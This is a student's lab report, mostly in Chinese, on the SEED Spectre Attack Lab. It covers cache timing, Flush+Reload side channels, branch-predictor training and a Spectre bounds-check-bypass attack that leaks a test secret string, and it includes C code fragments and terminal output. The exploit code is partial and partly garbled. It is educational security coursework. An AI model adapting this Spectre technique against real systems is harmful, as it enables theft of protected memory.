## **Experiment Report**

Name		ID_	3180200084
Title	Specture Attack Lab	Date	2019/6/18

#### 一、 Basic Principles (原理简述)

Spectre 攻击于 2017 年发现,并于 2018 年 1 月公开披露,利用了重要的漏洞存在于许多现代处理器中,包括来自 Intel·AMD 和 ARM 的处理器[1]。漏洞允许程序打破进程间和进程内隔离,因此恶意程序可以读取来自无法访问的区域的数据。硬件保护不允许这种访问机制(用于进程间隔离)或软件保护机制(用于内部隔离),但是 CPU 设计中存在漏洞,可以破坏保护措施。因为缺陷存在于硬件中,除非我们更改 CPU,否则很难从根本上解决问题我的电脑。 Spectre漏洞代表了 CPU 设计中的一种特殊类型的漏洞。除了 Meltdown 漏洞外,它们还为安全教育提供了宝贵的经验教训。本实验的学习目标是让学生获得有关幽灵攻击的第一手经验。攻击本身非常复杂,因此我们将其分解为几个小步骤,每个步骤都是易于理解和执行。

- •幽灵攻击
- •侧通道攻击
- •CPU 缓存
- •CPU 微体系结构内的无序执行和分支预测

#### 二、Step-by-Step Procedure (实验步骤)

- (—) Reading from Cache versus from Memory:
  - (1) CacheTime.c

```
include <emmintrin.h>
#include <x86intrin.h>
#include <stdio.h>
#include <stdio.h

#
```

Junk 的变数宣告必须改成 unsigned int ,原因是 junk 是要拿来存地址

的。

(2) run

```
[06/19/19]seed@VM:~/.../lab8$ make run1
g++ CacheTime.c -o out -march=native
./out
```

- $(\Box)$  Using Cache as a Side Channel:
  - (1) FlushReload.c

```
int main(int argc, const char **argv)
{
   flushSideChannel();
   victim();
   reloadSideChannel();
   return (0);
}
```

(2) run

```
[06/19/19]seed@VM:~/.../lab8$ make run2
g++ FlushReload.c -o out -march=native
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

(≡)Out-of-Order Execution and Branch Prediction:

## (≡-1) SpectreExperiment.c

```
int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
    _mm_clflush(&size);
    victim(i);
  }
  // Exploit the out-of-order execution
  _mm_clflush(&size);
  for (i = 0; i < 256; i++)
    _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}</pre>
```

## $(\equiv -2)$ SpectreExperiment.c

```
int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
      //_mm_clflush(&size);
      victim(i);
  }
  // Exploit the out-of-order execution
  // mm_clflush(&size);
  for (i = 0; i < 256; i++)
      _mm_clflush(&array[i*4096 + DELTA]);
  victim(97);
  // RELOAD the probing array
  reloadSideChannel();
  return (0);
}</pre>
```

Comment the two \$\frac{1}{2}\$ lines

## $(\equiv -3)$ SpectreExperiment.c

```
int main() {
  int i;
  // FLUSH the probing array
  flushSideChannel();
  // Train the CPU to take the true branch inside victim()
  for (i = 0; i < 10; i++) {
      // mm_clflush(&size);
      victim(i+20);
  }
  // Exploit the out-of-order execution
      // mm_clflush(&size);
  for (i = 0; i < 256; i++)
      _mm_clflush(&array[i*4096 + DELTA]);
      victim(97);
      // RELOAD the probing array
      reloadSideChannel();
      return (0);
}</pre>
```

Replace Line ④ with victim(i + 20)

(2) run

```
[06/19/19]seed@VM:~/.../lab8$ make run3
g++ SpectreExperiment.c -o out -march=native
./out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[06/19/19]seed@VM:~/.../lab8$
```

(四)The Specture Attack:

```
int main() {
  flushSideChannel();
  size_t larger_x = (size_t)(secret - (char*)buffer);
  spectreAttack(larger_x+10);
  reloadSideChannel();
  return (0);
}
```

更改里面的值·从 0 算到 10·刚好可以把 secret data 的 10 个字元找出来。

- $(\Xi)$  Improve the Attack Accuracy:
  - (1) 需要改 code 的地方:

```
uint8_t array[257<mark>)</mark>4096];
```

Array 大小从 256 改乘 257。

```
uint32_t restrictedAccess(size_t x)

if (x < buffer_size) {
    return buffer[x];
} else {
    return 256;
}
</pre>
```

回传的形态从 uint8\_t 改成 uint32\_t

回传值改成 256

```
void spectreAttack(size_t larger_x)
{
   int i:
    uint32 t s;
   volatile_int z;
   for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }

// Train the CPU to take the true branch inside victim().

for (i = 0; i < 10; i++) {
        _mm_clflush(&buffer_size);
        for (z = 0; z < 100; z++) { }
        restrictedAccess(i);
}

// Flush buffer_size and array[] from the cache.

mm_clflush(&buffer_size);
for (i = 0; i < 256; i++) { _mm_clflush(&array[i*4096 + DELTA]); }

// Ask victim() to return the secret in out-of-order execution.

for (z = 0; z < 100; z++) { }
   s = restrictedAccess(larger_x);
   array[s*4096 + DELTA] += 88;
}</pre>
```

S 为接收回传值的地方,变数形态也要改成 uint32\_t,因为我们回传的数字是 256,用 uint8 会 overflow。

#### (六) Stealing the Entire Secret String:

(1) SpectreAttackImproved.c

用 for 回圈重复执行 11 遍,每次要 access 的记忆体位置都+1。

## 三、Results and Analysis (结果与分析)

(—) Reading from Cache versus from Memory:

```
[06/19/19]seed@VM:~/.../lab8$ make run1
g++ CacheTime.c -o out -march=native
./out
Access time for array[0*4096]: 1439 CPU cycles
Access time for array[1*4096]: 383 CPU cycles
Access time for array[2*4096]: 309 CPU cycles
Access time for array[3*4096]: 89 CPU cycles
Access time for array[4*4096]: 329 CPU cycles
Access time for array[5*4096]: 311 CPU cycles
Access time for array[6*4096]: 321 CPU cycles
Access time for array[7*4096]: 113 CPU cycles
Access time for array[8*4096]: 341 CPU cycles
Access time for array[9*4096]: 351 CPU cycles
```

拿取 Array[3\*4096] 跟 Array[7\*4096]值所消耗的 CPU cycles 明显的比其他的要少上许多。

(□) Using Cache as a Side Channel:

```
[06/19/19]seed@VM:~/.../lab8$ make run2
g++ FlushReload.c -o out -march=native
./out
array[94*4096 + 1024] is in cache.
The Secret = 94.
```

Secret = 94

因为只有 array[94\*4096+1024]的 Load time 小于 80 个 CPU cycles。

(≡) Out-of-Order Execution and Branch Prediction :

 $(\equiv -1)$ 

```
[06/19/19]seed@VM:~/.../lab8$ make run3
g++ SpectreExperiment.c -o out -march=native
./out
array[97*4096 + 1024] is in cache.
The Secret = 97.
[06/19/19]seed@VM:~/.../lab8$ ■
```

Secret = 97

#### (≡-2) Comment the two ⇔ lines:

```
[06/19/19]seed@VM:~/.../lab8$ make run3
g++ SpectreExperiment.c -o out -march=native
./out
array[97*4096 + 1024] is in cache.
The Secret = <mark>97.</mark>
```

Secret = 97

还是成功的抓到了 secret 值。

## $(\equiv -3)$ Replace Line 4 with victim(i + 20):

```
[06/19/19]seed@VM:~/.../lab8$ make run3
g++ SpectreExperiment.c -o out -march=native
./out
```

失败了

#### (4) 结论:

成功抓到是在 array[97\*4096+1024]的地方,因为一开始有训练 CPU 让他执行很多次 if 指令都是 true 的,因为 CPU 会记忆类似 time locality 的效果,如果这几次的 if 判断都是 true,那么后面几次 CPU 会 先跳进去 if statement true 的位置预先执行,因此在我们执行这次 97 时,因为 CPU 预先执行,导致有把 array[97\*4096+1024]放在 cache 里面,才会成功的。

而 task3-3 把 victim(i)改成 victim(i+20)这样没有小于 size · 导致 CPU 训练的结果是遇到 if 先跳过 true 的 statement ·

#### (四)The Specture Attack:

```
[06/19/19]seed@VM:~/.../lab8$ make run
./out
.,odc
array[83*4096 + 1024] is in cache.
The Secret = <mark>S.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[111*4096 + 1024] is in cache.
The Secret = <mark>o.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[109*4096 + 1024] is in cache.
The Secret = <mark>m.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[101*4096 + 1024] is in cache.
The Secret = <mark>e.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[32*4096 + 1024] is in cache.
The Secret = ...
[06/19/19]seed@VM:~/.../lab8$ make run
/out
array[83*4096 + 1024] is in cache.
The Secret = <mark>S.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
./out
array[101*4096 + 1024] is in cache.
The Secret = <mark>e.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[114*4096 + 1024] is in cache.
The Secret =
[06/19/19]seed@VM:~/.../lab8$ make run
./out
array[101*4096 + 1024] is in cache.
The Secret = <mark>e.</mark>
[06/19/19]seed@VM:~/.../lab8$ make run
array[116*4096 + 1024] is in cache.
The Secret = <mark>t.</mark>
```

"Some Secret"

### $(\Xi)$ Improve the Attack Accuracy:

(1) 改 code 前:

```
[06/19/19]seed@VM:~/.../lab8$ make run5
g++ SpectreAttackImproved.c -o out -march=native
./out
Reading secret value at 0xffffe81c = The secret value is 0
The number of hits is 999
```

(2) 改 code 后:

```
[06/19/19]seed@VM:~/.../lab8$ make run5
g++ SpectreAttackImproved.c -o out -march=native
./out
Reading secret value at 0xffffe81c = The secret value is 83 : S
The number of hits is 121
```

#### (3) 结论:

改 code 前会一值抓到 Score[0]的原因是,我们每次用 largeX 丢到 restricted Access()返回的值是 0.所以 Array[0\*4096+1024]都会被 access 一次,就会被放到 cache 里头了,但是现在我们把返回值改成 256.这样 largeX 的返回值 access 的是 Array[256\*4096+1024],不是我们所关注的,因此无所谓。

# (六) Stealing the Entire Secret String :

用 for 回圈重复执行 11 遍,每次要 access 的记忆体位置都 +1。